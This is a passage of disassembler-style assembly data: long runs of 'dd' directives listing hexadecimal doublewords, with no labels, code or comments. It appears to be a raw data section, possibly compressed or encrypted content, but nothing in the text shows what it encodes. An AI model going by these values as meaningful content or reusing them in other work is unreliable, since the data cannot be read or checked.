		dd 1B8DFBFh, 840FC90Bh,	56742C94h, 0B6164B9h, 158DBD10h
		dd 2B8F1BECh, 9425A6F2h, 0FE44A147h, 0DD078032h, 60D4623Dh
		dd 26565AC9h, 4E4A337Bh, 12427812h, 0DD04E0C1h,	8640C2A9h
		dd 34481412h, 137F27CDh, 38B6C702h, 1E62905Dh, 0D3122D5Eh
		dd 0BDDCC0F9h, 0A45E0152h, 0A20711ECh, 9E36372Ch, 8C214DEh
		dd 0EDE5D2Fh, 0E960DF0Ch, 601B5940h, 0C256D080h, 0CA0B8116h
		dd 836F6006h, 4BA21DD2h, 0EAC2C47Dh, 32E9DA70h,	4853CEABh
		dd 0A713E1C7h, 0C2376C9Fh, 4E71BF1Fh, 0C3DBDEEDh, 587EFD6h
		dd 55F2EB5Fh, 50E80AB2h, 721D6405h, 0DA5C2DFEh,	0F553B609h
		dd 3FF57203h, 0E378916h, 0FB9268E2h, 5FB8B75h, 4F93F6DFh
		dd 7924586Ah, 0E5169964h, 4577647Fh, 1B800F12h,	713EDCB1h
		dd 0F3E4ABE5h, 5F5D28ECh, 5C4B0152h, 945A611Ch,	7807C7F4h
		dd 49A2DC9Fh, 9F69467Dh, 30D0E811h, 7FE13B4Eh, 0BF5F25F6h
		dd 0E90CD12Bh, 31160523h, 0BFA892D7h, 194CFC5Bh, 0F5315C7Ah
		dd 3F82C96Ah, 0CFF11213h, 0C5ECBC2Eh, 43B08568h, 0E33C54E9h
		dd 39CD0481h, 0BB7E0352h, 5EB634C0h, 0BA7F5097h, 0B53C170Eh
		dd 0A8545C4Bh, 2AF29008h, 99BF69Dh, 0C07827C1h,	57609D82h
		dd 8B27ECECh, 34C9DB0Ch, 0B44B800Dh, 592DD03Eh,	73B7604Eh
		dd 8A357838h, 126F1740h, 0F7406401h, 0F28142DAh, 4AD5FCD8h
		dd 54C0AFD4h, 3073CEF5h, 74BC48F1h, 606BBA46h, 4711CB0h
		dd 0A052AAF6h, 0AB708073h, 6213FB32h, 46BE5FE9h, 7A04E50Fh
		dd 0D825E318h, 730AC256h, 0D929982Ah, 70052474h, 688011CFh
		dd 3D665808h, 5702BAD3h, 61024914h, 0B46AE745h,	8B972590h
		dd 0C53D020Fh, 184A769Bh, 5D53ABEBh, 1008B900h,	366837CCh
		dd 61CF946Bh, 0CC9E3D0Ah, 0DEA9E2E9h, 76456E66h, 89AAA837h
		dd 0A3B6E01Dh, 9FBE4695h, 5CA78B8Ch, 5697F677h,	70D3423Fh
		dd 0ED58E913h, 2B80CC2Ah, 3DF8B94Eh, 10C43DB9h,	777B4DE6h
		dd 533549ACh, 0B400614Ah, 10953659h, 2481A18h, 25BD3009h
		dd 0C680EBF0h, 0A8064501h, 0EAD9E946h, 26B52627h, 94417215h
		dd 0BAC081ACh, 6FA24D0Ah, 99D4FCEBh, 681F43FBh,	0FB84418Bh
		dd 0E9C238E2h, 7F5AB611h, 8EFC103h, 0EAFFC783h,	0BBC5C59h
		dd 0E473FB29h, 27CA96BFh, 35DBA20h, 811A005Fh, 0C82263CEh
		dd 0E927500Fh, 0D5E809E1h, 91960765h, 0DF5AB34Bh, 22C3F7A2h
		dd 0A9CA068h, 29786A05h, 7172DE8h, 60BCDE8Dh, 0BD314C30h
		dd 48751579h, 0A523200Bh, 134CDE7Dh, 0BA56C563h, 8A5B21F7h
		dd 8DE90BDDh, 3C8B667Ch, 68439F2h, 8455D5F7h, 4F13F89Eh
		dd 450B5968h, 60777EFCh, 758A0FE2h, 0E14AC76Ch,	0D789581Fh
		dd 0AB1C7F4Dh, 757B9Dh,	4B921222h, 0D95BDE9h, 191CCFE0h
		dd 8E5431E9h, 4A69D97h,	321C4CA1h, 0B2FB6087h, 60E645A2h
		dd 0E3580CC2h, 0AB8B5FC6h, 534F9216h, 0BC0128AEh, 5A7E312Dh
		dd 0C2969C8h, 0F30F9A07h, 0F9CA037Bh, 8221842h,	48BA5EF1h
		dd 21AB02F7h, 0A9125DD8h, 9CE3640h, 0F81A5527h,	0D0F739C3h
		dd 0E908D831h, 2AEB8F2h, 1B4DD1B8h, 85CE04Fh, 76730F0Dh
		dd 309E5136h, 6635053Ah, 2A288A0Ch, 29E9EA01h, 0BCFD99ADh
		dd 76FBA418h, 0C09FE328h, 1D6BEBC1h, 81FCB551h,	5EE92AF5h
		dd 61922E9Ah, 8DD2F725h, 1DDA240Bh, 5DC98BFAh, 84548AB1h
		dd 53AEE9EDh, 0C319BD00h, 6097952Ah, 14262D2Ch,	0A257C977h
		dd 96747105h, 0E1F88470h, 83F83AB9h, 8DBE82A5h,	0A46FC959h
		dd 0A5129C1Eh, 0A9A53E0Eh, 0BC4BBA0Bh, 7B1E468h, 43194CDBh
		dd 3754EA02h, 0CD5444F9h, 5426A73Fh, 0DA40EF25h, 5E38B57Fh
		dd 0FD658CDh, 82BE0D45h, 0D703FA9Bh, 0EA22035Ah, 45626E6Fh
		dd 8AE35510h, 0B498BF2Fh, 1B0579BBh, 7741E93Ch,	4FF245FFh
		dd 0C35A2221h, 12A5C784h, 0E8465CBAh, 3A1C0FCCh, 7634682Ah
		dd 0ECC9E985h, 17E75A65h, 73CFF6Ah, 0F99B3428h,	0E4828542h
		dd 2F778618h, 9A88028Ah, 0C491DFC6h, 2D55EC8Bh,	0F2150201h
		dd 5D02920h, 0A6E90740h, 3FF9B7FCh, 0D1FF5896h,	0B4A4C7CEh
		dd 0F3AAD08Fh, 29FF4F43h, 3EED6B1Bh, 0BB04F32Fh, 4BDDFC89h
		dd 0E8B3CC5h, 1066884Bh, 0E9619FA0h, 0FFEC192Dh, 5B083920h
		dd 47648F5Dh, 7BD0F1AEh, 27447DBEh, 89F72388h, 9C4277D1h
		dd 429FD15Dh, 81F02FE9h, 7E51BA04h, 0A3BE0DAFh,	510992E5h
		dd 1D78DAA7h, 54F37C19h, 7310B547h, 0F7810170h,	71C61AC3h
		dd 0BF2F86F0h, 0DCC717A0h, 0F848160Dh, 0BCE9092Ch, 8AC1D110h
		dd 69E8D97Ch, 78FA0B7Fh, 13AB5E0Fh, 816F60E4h, 2C3103EFh
		dd 892EFCA3h, 98A25428h, 0CAA02AF0h, 681559C8h,	3A3202CEh
		dd 0C6800BB6h, 162F5808h, 0D0D3F7E9h, 0DB7C7316h, 614F0F7Bh
		dd 66B79C7h, 0BD14B9Dh,	4D5506EDh, 85401A02h, 0C5015F00h
		dd 84519D57h, 93A68993h, 0F833405Fh, 0E91AF52Ah, 0F55D360h
		dd 0A8B4368Eh, 9B2485CCh, 0C7800026h, 0F4D5653h, 0FBB284F2h
		dd 597C39BDh, 5AE9E070h, 0F65A0560h, 0E79982DDh, 0DE0CDD0Bh
		dd 0F4F60606h, 3B88B15Bh, 0C681A154h, 8FD3833Bh, 0EDCAFED4h
		dd 92A6A94Bh, 842E9FA3h, 0A33B88FCh, 0D5AF02Fh,	133A126h
		dd 889CA56h, 85988508h,	0E7D159h, 796CB6B7h, 0D74C0113h
		dd 3A1D4FA4h, 4D849953h, 0E6435682h, 9F5CFAB0h,	0F4AE680h
		dd 724B9B8Fh, 74447D90h, 1F4C4BE6h, 8B89C34Dh, 1F070102h
		dd 5864A9CFh, 0BEFCD1B5h, 1F92C9B0h, 0B416E628h, 19C06C35h
		dd 634127AFh, 0E6F997F1h, 2F826117h, 0B0914661h, 0D9212684h
		dd 0E9A0FB5Bh, 0E3475E44h, 12DA3DCCh, 0D388271Dh, 0AE5E4B52h
		dd 0CCBFB5Fh, 0EEA9E979h, 9471FDC2h, 0C68CA4A7h, 0BEE212EBh
		dd 74B8DB2Ch, 34F00DB0h, 0EE0BAC2Dh, 7C041FF0h,	5F520A30h
		dd 705D984h, 0F3F96858h, 0BB15E90Bh, 19AE7F20h,	0A7B42BBFh
		dd 87DFF707h, 31DB872Eh, 0FE3CE962h, 7C596DBh, 759EB72h
		dd 2E56D2E3h, 109CB800h, 2D4F1E9Ah, 6234C0F6h, 0AD218725h
		dd 48D030EDh, 5D15050Bh, 0E97A60D9h, 0D1F96726h, 0A0DC74F1h
		dd 4F09B112h, 558AE180h, 49787289h, 0E04F197h, 841130EDh
		dd 9137A5A3h, 0A7A8A985h, 9E57D637h, 0EE2E92E9h, 5EF5DF71h
		dd 820B7460h, 398CEB81h, 840FC844h, 2C8205Bh, 0BCA71326h
		dd 6A8D010Ah, 901DE548h, 0C6413CFEh, 737605FCh,	4D6F3A6Eh
		dd 0E8E96286h, 0C6094368h
		dd 5DDB0629h, 38EB6580h, 7AF50C55h, 8013D84h, 2EAF685Eh
		dd 0E23FF34Dh, 92C0A5CDh, 12F01E11h, 0A0A1E948h, 0C327301Fh
		dd 65727953h, 0D3080138h, 8185C3E9h, 2725C5A5h,	0A24166ADh
		dd 216DF54Ah, 38FFB825h, 4A59DFF7h, 33E02C5Bh, 0B0509340h
		dd 0F8A94B87h, 0DEF785DBh, 94FF2781h, 0E3C7C610h, 0E922C809h
		dd 896879CDh, 51981487h, 5273D088h, 0B89BC275h,	0FEC1E985h
		dd 808385BCh, 0F39A16E3h, 2CC52040h, 8EB4503Eh,	0D58E528h
		dd 97F598DDh, 5EEF4145h, 0AD4DC95Dh, 0D99303DCh, 8E5FDB4Fh
		dd 7CEC1387h, 6205E8A2h, 91E32500h, 0F6453870h,	9FC37076h
		dd 6858BD5Eh, 0B3164B94h, 4E82706h, 11AC6646h, 12889574h
		dd 0D0542708h, 95551DECh, 1134F410h, 980FE3A4h,	6C97045Fh
		dd 0F846D16Ch, 2B1F09E6h, 620130C8h, 802278EEh,	288FCF18h
		dd 2CC13FA9h, 0E503E7h,	7CB5575Fh, 80A1FE09h, 0BAB18FEEh
		dd 29CBC76Ah, 7B9CD115h, 5C580CE9h, 0D50C6F67h,	0CA426E3Ch
		dd 0C128B9F8h, 3EA18008h, 61262E22h, 0AB031381h, 0CF498DD0h
		dd 916F5B57h, 2B12C2ADh, 0F9305E31h, 5F0FBB00h,	814E1606h
		dd 0A10D0DF3h, 127D8004h, 8E14524h, 521F91DAh, 5FA9BDCBh
		dd 5BFDFB22h, 5CA6C5A3h, 8F00B13h, 0D594CEFDh, 3C595705h
		dd 0C14EDC43h, 4B32BB01h, 8DFCE979h, 0F41E8005h, 0A494713h
		dd 3127E77h, 29BE0104h,	0FD96030Eh, 24EA372Dh, 0ADE35E0Bh
		dd 15300C4Ch, 1022C125h, 895EC825h, 0DFCD09CAh,	184A646Ch
		dd 0A9D75AACh, 63B94E9Fh, 5D270E96h, 0BA6E22E5h, 5D296D09h
		dd 3F0BAF88h, 1D31C8CBh, 2480D240h, 0BA909C3h, 388428ADh
		dd 0A3B5EB91h, 3AE2CF8h, 247C292Bh, 0A1AC5F0Ch,	0EB53A5Fh
		dd 1F5B1103h, 96E0413h,	43FD2D02h, 926CE237h, 514000Ch
		dd 5F1ABD52h, 0F902BF59h, 55DAE953h, 0EA4DF284h, 7C6E14C2h
		dd 21B66062h, 4B486DD2h, 465C000Fh, 9DE91058h, 61CC9CA0h
		dd 0C6FFC9B1h, 0CB5DF9FFh, 0A7247FCCh, 92BF3EB2h, 0FEB8C414h
		dd 9B066E01h, 3BF3316Ah, 0ED2518F6h, 0C5D0FC0Bh, 6CB77C4Bh
		dd 0B9638D48h, 37254D45h, 0B450788Fh, 1EC8899h,	2012162Ch
		dd 0E4B48530h, 0BF629851h, 7116C27Bh, 8B3BFBACh, 1281B5F8h
		dd 4055CD2Eh, 0AA0990F1h, 3E562358h, 58BDFA70h,	7610B18h
		dd 43D057E1h, 5AE3E207h, 0DA853F47h, 5CBD7D80h,	551B48C2h
		dd 2119D338h, 0EC060C37h, 699596ADh, 173F68F2h,	6CDDAF98h
		dd 20AB5AC2h, 71959E1Ch, 18F769CCh, 5EB8E985h, 5A22F3F5h
		dd 101F94D1h, 5A747A56h, 62CB2973h, 0D954789Fh,	3BE326A1h
		dd 2661078Ah, 0E97BA7BEh, 0C0537F51h, 845A0A01h, 4E70AEDBh
		dd 4F09035Eh, 0F69CE91Ch, 29B0C05Eh, 0E7055E24h, 88E64E41h
		dd 199DA410h, 0D58ECDFEh, 0B56B5B02h, 7558EF9Ah, 9D533F14h
		dd 0ACF70282h, 0E30FA272h, 841000C3h, 31587174h, 2D6BE9F9h
		dd 0BF3EF775h, 680070B6h, 43730115h, 0E68B170Fh, 221AFA3h
		dd 8FA9EDA6h, 25612BF9h, 0D1F8366Ch, 4941E695h,	2C98BAC8h
		dd 0A2260FBCh, 0E99D5016h, 9AE5A354h, 0E27E5E49h, 64AA107h
		dd 0B8BAEF48h, 6BF1D19Dh, 5BE4157Ch, 2EACCEAh, 251A270Bh
		dd 9F80F531h, 0E66560EBh, 490C7667h, 55208C62h,	80DB36Ah
		dd 0C514040Ch, 4AB48EA1h, 38E9DE9Ch, 0BE5E76B3h, 3D6ACA29h
		dd 68C3E4F1h, 0F7177E2Ch, 714446C2h, 1129888Dh,	8EFB5D16h
		dd 68520B2Eh, 54E25AF5h, 9BA9D5Bh, 75626F9Fh, 0CAEADE20h
		dd 364A7EE5h, 680A80FCh, 0A73D73DAh, 5A9F99D0h,	4EE913A7h
		dd 0EB8140ADh, 1D0B5241h, 0D188DDDFh, 885305D2h, 0EA6583D7h
		dd 2DED2D03h, 0D964A45Ch, 0BD76B43Dh, 0C740EC1Ch, 3BFE52CCh
		dd 4692A506h, 0E5FC7695h, 89EC6051h, 0D3A15BD9h, 0D5CA3F59h
		dd 25688244h, 7E5678FDh, 0E747E9C1h, 0F6CFE105h, 0F571DE2h
		dd 7F553ADEh, 24EA4F81h, 0E927EC30h, 0DC974127h, 0B6555A9Dh
		dd 0F9E93066h, 6D59B8CDh, 29415E17h, 3C1B41BAh,	407C1A74h
		dd 5F3211A5h, 820C6C6Fh, 7DF3212Dh, 2E2A9D61h, 0CB68E483h
		dd 1257270Fh, 0F502ABFAh, 0CE7F0A6Ch, 49527C89h, 0ED8256A4h
		dd 0CC501B9h, 5B68016Ah, 0A902BBFFh, 0CB2A62EFh, 45ED1790h
		dd 0D85E2FE7h, 824FFBB7h, 6583AC27h, 7E8E4D08h,	0B5B9F278h
		dd 2EBCEC5Eh, 0F83970Bh, 3F83E786h, 0FCDBAC5h, 9478ED31h
		dd 0E2D10066h, 9388130Fh, 0D8C345D7h, 40599851h, 5E3AF565h
		dd 0CE0A83F0h, 0F1F38721h, 0E47FEED7h, 430E0E60h, 0F1C111ACh
		dd 8DDF8C2Ah, 5FA00934h, 0B1305FC2h, 0A3CBAB78h, 2F80DE9Ah
		dd 16A815FFh, 4EF1CBE8h, 0FECCA153h, 48631705h,	0F0F20593h
		dd 5E07092Dh, 9E2C55Fh,	9E7D6F91h, 256A90F1h, 26C666B1h
		dd 627A0507h, 96E54CD9h, 0C19580EFh, 460302EEh,	86FF681h
		dd 0C2F2BF5Bh, 0B5760AEFh, 0CF85F88Ch, 0E8188E9h, 8EE9C729h
		dd 0E23454F6h, 2083F349h, 41FE682Fh, 807C4B70h,	3157383Bh
		dd 0D75B8CB0h, 95BCEE0h, 0D5E9187Ah, 0EB2697FAh, 0C7435EB3h
		dd 0AD6CE8ECh, 1E662568h, 20A02666h, 0E9121610h, 0CFA7320Dh
		dd 9205E34Fh, 21D2F1B3h, 1A72FA4h, 3E30ECB1h, 0CC283A57h
		dd 59BCC4BAh, 0F0E0BF6h, 25C00D85h, 0C8B8ECD0h,	0BFDDEE32h
		dd 0F5784AA5h, 1E5ECDE3h, 26FFA430h, 0B5545FDCh, 5D8FD041h
		dd 0E907FA05h, 14B4FB3Bh, 9FB3E21Fh, 45C5CDE9h,	0AE128108h
		dd 88BB0351h, 0F455CB2Ch, 818EA8FEh, 764B0EE3h,	0F3C078A1h
		dd 10201244h, 0BC0678BDh, 0BF682Eh, 283630A6h, 0BC5A2BFh
		dd 94ABC731h, 0E49ABAF4h, 0B612E849h, 7388EFC9h, 0BDED922Ch
		dd 0FC52DAF4h, 38BA006Fh, 0E975F453h, 97ACB45Ah, 4B0BFAD6h
		dd 0A91379C1h, 0C2F316BAh, 77404Ch, 4CB30DF3h, 576031Ch
		dd 0E03A9426h, 0A9E9B812h, 0B27BBBA1h, 0A668C281h, 765D507h
		dd 6358E90Bh, 0CD64A76Ah, 0EA6812A0h, 0A52C995Fh, 5FA5AE5Eh
		dd 13828CE7h, 62729660h, 4C5955CEh, 0D02A6D63h,	4E2BE90Ah
		dd 0C942B886h, 0B7B070FBh, 0C6200516h, 0BD662D76h, 110285Eh
		dd 9FB2BA62h, 135FF9DDh, 4345EE33h, 0C909891h, 187A1D77h
		dd 6C4E5E55h, 0A097D160h, 7825D524h, 0F289060Eh, 0FDA74BE9h
		dd 0AD174521h, 0F746FAF4h, 3D8E37B0h, 0A07ED5D9h, 46022DFDh
		dd 315E9950h, 2D489C5h,	564CCC23h, 0C821707Eh, 7BD05B0h
		dd 6F825CD1h, 85AC7E1Ch, 0BA3F9C68h, 0D92F673Dh, 7420AD16h
		dd 127F7AF2h, 9114D5D1h, 5A1A6D27h, 0DA313CF8h,	9076E096h
		dd 0F37920BDh, 0BD056302h, 0DDCB7EDEh, 95E92681h, 85902BE2h
		dd 7EAA6F5Bh, 0A2D34E51h, 1712D6FAh, 558F3DBEh,	0D6E2EFA6h
		dd 2127531Ch, 0ADC7253Ch, 0B63EB24Ch, 72FD8424h, 5C5D9AAEh
		dd 2A1C48E2h, 5A5AD614h, 0E7D16FA0h, 766ED83Ah,	6802C9BAh
		dd 19F009B7h, 657C5559h, 9CB95180h, 0BD44296Ah,	3F243879h
		dd 22D2060Ch, 3724C05Ah, 0C16CB60Eh, 0C8BFF2B8h, 251365BEh
		dd 2BE064F3h, 0D24BF6ECh, 931B4E0h, 0F12906CEh,	17088888h
		dd 221E095Eh, 3DF4195Fh, 11A1142Ah, 0EDC1293Ch,	19BD7F99h
		dd 0DBF70809h, 0A2F68504h, 434E7813h, 0A7E18FD7h, 508CEB6Ah
		dd 0B1DB9E3Eh, 39802A3Fh, 9CF19FB7h, 7DED5796h,	7CEE311Ah
		dd 95B12D8h, 60F31880h,	42671228h, 0B58B8D1h, 8B3A5Ch
		dd 6230E25Bh, 0E5145C45h, 0C592B93Eh, 9190333h,	0EFB48C08h
		dd 80637D4h, 220425Bh, 0CF2883DFh, 10D8BFE9h, 6F135E9Dh
		dd 0D56B2C85h, 1C56AA15h
		dd 0D82516A8h, 0A0C2A89Bh, 0D8A7F25Eh, 49612D64h, 172E9094h
		dd 5F5AE831h, 1DE96121h, 0C8442B85h, 0B110A65Ah, 0BD15D758h
		dd 0FD4FBCA2h, 8E521143h, 275CE710h, 82DB1A5Fh,	5F480A27h
		dd 0FD828694h, 0EC63CC18h, 0CF88719Dh, 0F4A59DC5h, 0B2B02C1Ch
		dd 88C08D34h, 0D6686F81h, 0AB00BCDBh, 0E92D21BCh, 48EE5B27h
		dd 1F11BD48h, 12385668h, 2FE3BAA4h, 0A295F612h,	7B99516Fh
		dd 0E6ABBBC5h, 0D52984EEh, 0FB29E92Ch, 80606268h, 0FA0F99CBh
		dd 0C3AFBF7Eh, 0B8A9CE4Bh, 85D780DFh, 9F49341Ch, 0CE58C2CAh
		dd 0B332E930h, 4B9D685Fh, 92CBAD73h, 0FC0530D9h, 4A6BCEEAh
		dd 0C13E54F1h, 3A141FA8h, 279AB1DCh, 0F703C17h,	85828C7Eh
		dd 0D40041E4h, 233E56AEh, 0F28B7A51h, 0FAC8B7EEh, 0E917CE01h
		dd 77FACBF9h, 81E234BCh, 4261822h, 5F2A1B81h, 42CA5F3Bh
		dd 33EA1766h, 66415843h, 0BD5E4108h, 0B7EC7BFEh, 3AD43A86h
		dd 0BB35584Fh, 4E7FC204h, 0C051BC5h, 90301820h,	4C559F68h
		dd 4D486A7Fh, 0F9870609h, 774C0255h, 0F91EDD7Ch, 614156C1h
		dd 80605001h, 4969974Ah, 0D1E9E403h, 0D7E29054h, 71209441h
		dd 0DA4E14C9h, 0BB048F34h, 0FEF5B33Ch, 0F0E9AFE0h, 659296CEh
		dd 33D950Ch, 1E5FE24Fh,	45B5EB94h, 6A13A02Dh, 79AE90A7h
		dd 614EDF6Bh, 0A7047353h, 0FF13E190h, 0C81B5BC2h, 1E6C1F5h
		dd 1ECE8105h, 0BA793319h, 39628196h, 3415E97Ch,	8838FA6h
		dd 0CA2099B5h, 0C68E20Ah, 2D0BD710h, 0FCE61EBFh, 0FCE85E0Eh
		dd 0EB1A9E10h, 48BD400Fh, 0AC2BE14Bh, 19F2B7A4h, 536768A4h
		dd 3BDE0B62h, 2300D801h, 57B44E14h, 3F770690h, 0E9E42A06h
		dd 353B7E75h, 9C66DCF0h, 89B6583Dh, 58D5CC2h, 0B7EE0568h
		dd 6F9FF565h, 1AF16FFDh, 0F2BB8928h, 4E4165Eh, 2E45B7BBh
		dd 308EF178h, 9B95643Bh, 0BE6A03BBh, 4DB86EDAh,	210DD60Eh
		dd 0E03149F4h, 1DD3F622h, 806C4C4Fh, 806056C5h,	7F20E962h
		dd 8535019Fh, 891B8A53h, 524070C7h, 5CECC55Eh, 57E051C9h
		dd 803FDDF6h, 0F50673EDh, 59E828A5h, 0C18C40C6h, 8102E200h
		dd 1B2F25CAh, 9613FC2Ch, 0EF310B63h, 0BCC8055h,	1E56F723h
		dd 49EA6857h, 0FD84073Ch, 280012F9h, 9835DBF2h,	8D0F3F7Dh
		dd 0C28342CEh, 66436F0Bh, 52A98CE1h, 0F415D93h,	0F94703FFh
		dd 0DACB84Bh, 0CF081F42h, 0EDFF99CCh, 0C44FC8F9h, 66D52F4Fh
		dd 108E7004h, 0C5C90F13h, 22EEDE4h, 711F8768h, 1DA800Dh
		dd 0F8093088h, 0D4A6E916h, 7DB98D37h, 67586D12h, 801DECBDh
		dd 9876A381h, 4FD60BA6h, 0B553767h, 1329DB23h, 50D1FDFh
		dd 80343D25h, 5810EADFh, 877E2D28h, 555B0309h, 99A1DD19h
		dd 0FEA777AFh, 47EEA18Eh, 0B6C00BF6h, 0CF7554ABh, 423D925Fh
		dd 6EDC02Eh, 38AFF58Ah,	664DE27h, 59147995h, 0C2E22B09h
		dd 694DE9C3h, 0ABC77F00h, 1C94A8Dh, 929894FDh, 25F24567h
		dd 313DC335h, 0BF114A3h, 0B64F3E20h, 407F072h, 0ABC1089Dh
		dd 0AADAA87h, 844F12E0h, 479C0113h, 70568C57h, 13486E96h
		dd 0A3F86F34h, 7B08D121h, 75283B18h, 1F3EFC40h,	30EB4E30h
		dd 0A7D2E9EBh, 7B031BB5h, 0CB0320D8h, 667253EEh, 11B86819h
		dd 0DFFAC1E9h, 0BD4A6416h, 775A0609h, 92603592h, 7FE11EBCh
		dd 0AE9365B7h, 0ACE93430h, 0C80BC638h, 0A9F454E3h, 48CDE15Ah
		dd 4806CEF1h, 3302EB07h, 0F36028B1h, 6B5FD3ABh,	312540Ch
		dd 20F750D5h, 0C1B7FBEDh, 0AC89F57Dh, 0F579F91Bh, 23ED5549h
		dd 0E905D6AFh, 4B9865F7h, 277665DDh, 8169305Eh,	8676A518h
		dd 67D901E4h, 6060C257h, 814511FFh, 6CBECD07h, 0BC6C4D7Eh
		dd 5F79271Bh, 57CA1042h, 6BFEDC55h, 86C96DF5h, 0AB763E9h
		dd 30C53416h, 2C0ECCFAh, 0F8794170h, 0C3F85BE8h, 0D269E92Dh
		dd 7A8526A1h, 428F6118h, 5BAD7A38h, 7D3A6809h, 570BEEC6h
		dd 57092777h, 0C3689E8Fh, 0ADE3B05Bh, 76B9263Ch, 8C7A123Ah
		dd 0CC52D62Dh, 70F20499h, 0E8AA7B59h, 12B05B95h, 98DBF692h
		dd 0BC89789Fh, 7F7427A3h, 5F8714C2h, 80078047h,	0EB30AFC3h
		dd 0EDD4E93Fh, 0B0EE985h, 46B1C3BCh, 6A5193E1h,	4250E9A2h
		dd 0C07D8237h, 2D234C12h, 1292028h, 8B39825Fh, 8AC75734h
		dd 1A7CC08h, 0C73DB305h, 0F0DD6129h, 60BE3F88h,	0F8FF0449h
		dd 0B3C0EF1Fh, 0A548680Bh, 0F4BF17DEh, 7A79DDFAh, 5B80ADB9h
		dd 56EBD143h, 0D02E490h, 0E90A3659h, 0D20B75F9h, 24CBFFF6h
		dd 3CF09B95h, 81EB5FB3h, 28F3287Ch, 0E95107D3h,	0FD09367Eh
		dd 819DA6EEh, 4CA50EE2h, 13414130h, 0F119A56h, 9EA402DAh
		dd 7488020h, 31604A60h,	35A9CE18h, 0BC74980Fh, 1FBE00A2h
		dd 296F1221h, 7FF9F75Ch, 0E9C0B605h, 10CA0DA0h,	6628BE4Eh
		dd 0F30BAED9h, 453C2E9Ch, 0C45E43F7h, 2107121Eh, 7F2D88D2h
		dd 0B0894C8h, 1EBA6C40h, 84C51943h, 0E90A026Ah,	0A8C8F7D9h
		dd 74BDF030h, 0D1F7725Ah, 0F38A4276h, 0E6D52E75h, 32B7CB0h
		dd 594447F1h, 24E255BBh, 28F3048h, 2BE948EEh, 0A04C2CAAh
		dd 0F945905Fh, 0A2AF6602h, 525300A1h, 0DE4BE368h, 0B561B532h
		dd 0CA0FBEE7h, 5DEE1784h, 9686CB3Bh, 0E376A4h, 716D06CBh
		dd 4B11FC1Ch, 126DB7DFh, 31ACED81h, 0E94022A4h,	0F4DBD07Fh
		dd 8F439747h, 0FA8EB2A7h, 3F23B248h, 9BE1C9C4h,	5BDA7591h
		dd 2113DD62h, 0B065A8F9h, 2F0BE9C1h, 0F2455455h, 646159AFh
		dd 9E7AAC46h, 7EEB2A09h, 5632C29Ch, 0BFCB6CD7h,	64890365h
		dd 885A798Dh, 0DB2CF4AFh, 811A1C0Ch, 8BB0FE3h, 8E8211D1h
		dd 5FC9C299h, 0E95D6FF3h, 3CAFC116h, 49BF2B10h,	7E30F79Eh
		dd 72BB8024h, 3642C1Eh,	58D2DBD4h, 6FC302AAh, 54210A5Fh
		dd 436D0F6Fh, 0B3B5F032h, 0BCF6E818h, 173B8C5Eh, 50292651h
		dd 835808A8h, 0BC19A416h, 63F1E80Fh, 8DFEA9B5h,	0DEF7D813h
		dd 53B06F01h, 0AC6E50D9h, 5ECE00F2h, 0E9499F15h, 0FBEC4A44h
		dd 7589AC32h, 682C427Ah, 4CF2A45h, 31AF55C3h, 7295263h
		dd 1344EFD3h, 34BD3481h, 6060D962h, 0EB06885Bh,	0D6F6F386h
		dd 0BEDDF008h, 30752FB1h, 0B7E43886h, 2F597BEEh, 0D6282503h
		dd 5EC3075Ah, 6F0567C0h, 0D880EF2Fh, 8FB2525Bh,	6412FD95h
		dd 0E98422E7h, 49FADCD1h, 0DC0454BFh, 0CC05128Ch, 2CBE3756h
		dd 2AC655E2h, 771FC57Dh, 927EFDD9h, 0FE76C17Bh,	0D55A6AA6h
		dd 0E916A6D2h, 37AE0EC9h, 9E02BD4h, 54B08958h, 0E57DAB7h
		dd 44507D80h, 5137C5A0h, 0D61F0578h, 0E945566Bh, 28BE743Fh
		dd 71701011h, 0D2965797h, 3F947F95h, 0E558C627h, 0B0A79251h
		dd 0F7F847C5h, 0B91CE30Bh, 0C0E7025Dh, 407E0BCAh, 346DA78Ch
		dd 0C6530357h, 4B5CDAC5h, 2C61D8E1h, 4AE9A806h,	0D356B442h
		dd 335C54ACh, 510C26B0h, 0FFBC8925h, 60AF59CDh,	8A79C324h
		dd 720446F4h, 42858859h, 0BBACD0FFh, 7E1E22BCh,	0BECB5756h
		dd 0BAF96BB7h, 13CD5ECEh, 2B92AF29h, 0A82FDFDBh, 2158C362h
		dd 0E3FC3842h, 0D11CEE42h, 58C580A8h, 0F423AC9h, 0C20B8D18h
		dd 1F1BF2B3h, 4750301h,	0E4B16384h, 7BF0F545h, 0E9683006h
		dd 3183967Fh, 0EFB859C8h, 7FD949F1h, 2086AF21h,	47DEBB00h
		dd 34691726h, 0AB728E01h, 3EDD0F51h, 0E909B33Ch, 0B9F74CFBh
		dd 3E2C5BC2h, 10E66F84h, 9C0F1288h, 83F062FFh, 5FA51708h
		dd 62356580h, 6A16BF3Eh, 8FE6C689h, 3EA3AC4Ah, 0DF4D6936h
		dd 0AE741940h, 9918B124h, 0CF5B0902h, 0AFA8FD15h, 13FF2608h
		dd 11396190h, 8580041Bh
		dd 4B83E196h, 0C377B494h, 852D520Ch, 5470C65h, 1746C53h
		dd 904BF9FBh, 0E5E9120Dh, 9D683F80h, 3CBF322Fh,	227C76F6h
		dd 0F4807A60h, 0B5E3E073h, 1C65ECFEh, 0F05A35E8h, 0F55D8BB7h
		dd 40483Eh, 6E2C032h, 87F280h, 8A59B050h, 0E94A5EC8h, 4844F627h
		dd 3D73419Eh, 66B72EF1h, 0D5E55217h, 968ED35Fh,	0EB19C481h
		dd 0F1368A7h, 77FFB932h, 0C3A26333h, 0CC56F1DFh, 81EFBD50h
		dd 767312C7h, 121EE4h, 47870C74h, 4F4AE95Dh, 8EEBD5D1h
		dd 280ADAF0h, 80A6F301h, 62665E08h, 8ACB728Fh, 83093EFAh
		dd 0DD430F0Eh, 80F8B62h, 0AFF513A4h, 0B21328B2h, 885FAAEAh
		dd 0C4A1A5F8h, 0E68102D7h, 211F44FBh, 3AC068C1h, 698F3727h
		dd 4604316Dh, 12F0D7Ch,	12932B54h, 3C0B940Dh, 8F2D986Ch
		dd 26BBC74h, 236F2DFh, 0FE57D701h, 95B04472h, 0F3B288EBh
		dd 2FC6FD3Ch, 1CE6F8A1h, 4005F801h, 5F1BAD2Ah, 534094E9h
		dd 2E7B7FBBh, 2CD4A39h,	4E036B59h, 208E83E3h, 24F98839h
		dd 5BC7A0CCh, 8058E5B0h, 271A73CDh, 49F6C6F5h, 1667BEBCh
		dd 769148C5h, 6E333721h, 2A54C25Fh, 8C005B4Bh, 53585D16h
		dd 51BE56h, 0BB48093Ah,	62C24C6Ah, 471589Fh, 961B7905h
